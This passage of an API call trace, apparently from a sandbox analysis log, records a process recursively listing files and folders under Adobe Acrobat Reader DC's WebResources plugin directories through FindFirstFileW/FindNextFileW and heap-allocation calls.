ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.080] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.080] GetProcessHeap () returned 0xc10000 [0253.080] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.081] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0253.081] GetProcessHeap () returned 0xc10000 [0253.081] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.081] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.081] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.081] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.081] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.082] GetProcessHeap () returned 0xc10000 [0253.082] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.082] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0253.082] GetProcessHeap () returned 0xc10000 [0253.082] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.082] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.082] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.083] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.083] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.083] GetProcessHeap () returned 0xc10000 [0253.083] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.083] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0253.083] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.083] GetProcessHeap () returned 0xc10000 [0253.083] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.083] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0253.083] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0253.084] GetProcessHeap () returned 0xc10000 [0253.084] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.085] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.085] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0253.085] GetProcessHeap () returned 0xc10000 [0253.085] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.086] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.086] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf49, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdfupsell-app-selector.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0253.086] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2740, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdfupsell-app-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0253.086] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2740, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdfupsell-app-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 0 [0253.086] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.087] GetProcessHeap () returned 0xc10000 [0253.087] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.087] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0253.087] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.087] GetProcessHeap () returned 0xc10000 [0253.087] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.087] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0253.087] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.087] GetProcessHeap () returned 0xc10000 [0253.087] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0253.089] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0253.089] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0253.089] GetProcessHeap () returned 0xc10000 [0253.089] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.090] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fss", cAlternateFileName="")) returned 1 [0253.090] GetProcessHeap () returned 0xc10000 [0253.090] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0253.092] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.092] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0253.092] GetProcessHeap () returned 0xc10000 [0253.092] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0253.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.094] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.094] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x767bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf-main.css", cAlternateFileName="")) returned 1 [0253.095] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x767bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf-main.css", cAlternateFileName="")) returned 0 [0253.095] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.095] GetProcessHeap () returned 0xc10000 [0253.095] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0253.095] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1 [0253.095] GetProcessHeap () returned 0xc10000 [0253.095] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0253.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.098] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.098] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_sign_tag.png", cAlternateFileName="ADOBE_~1.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x865, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_sign_tag_retina.png", cAlternateFileName="ADOBE_~2.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x23ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0253.099] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, 